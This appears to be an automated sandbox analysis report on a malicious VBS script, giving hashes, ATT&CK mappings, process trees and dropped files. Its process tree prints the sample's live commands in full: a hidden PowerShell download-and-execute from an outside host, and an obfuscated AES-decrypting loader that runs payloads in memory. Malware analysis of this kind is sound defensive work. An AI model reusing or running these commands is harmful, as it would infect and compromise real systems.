1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe
2776	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2984	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2776	powershell.exe
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2772	2080	WScript.exe	30
PID 2080 wrote to memory of 2772	2080	WScript.exe	30
PID 2080 wrote to memory of 2772	2080	WScript.exe	30
PID 2772 wrote to memory of 2776	2772	cmd.exe	32
PID 2772 wrote to memory of 2776	2772	cmd.exe	32
PID 2772 wrote to memory of 2776	2772	cmd.exe	32
PID 2080 wrote to memory of 1972	2080	WScript.exe	33
PID 2080 wrote to memory of 1972	2080	WScript.exe	33
PID 2080 wrote to memory of 1972	2080	WScript.exe	33
PID 1972 wrote to memory of 2984	1972	cmd.exe	35
PID 1972 wrote to memory of 2984	1972	cmd.exe	35
PID 1972 wrote to memory of 2984	1972	cmd.exe	35
PID 1972 wrote to memory of 2984	1972	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U05XYJ8UZZFEGELEPGE1.temp

Filesize
7KB

MD5
894d9eb27766420c700b5e731c3525dc

SHA1
77a15d0b1a26e8e39d3f019333bb79cb61337375

SHA256
b840092b12bf2a66c587744453c8232e11b7f8ece86fcc73bd238d77cf8031b8

SHA512
a8cb305d5de06cc200c6f9b53b5bec30de326a7b4c1330919bd7c7c4fa477f9fbbc62e45945622c9047e90c3f03d292172ea6a76b246b062159baa788736cd9c

Download Submit
memory/2776-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

Filesize
4KB

Download
memory/2776-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2776-6-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-7-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2776-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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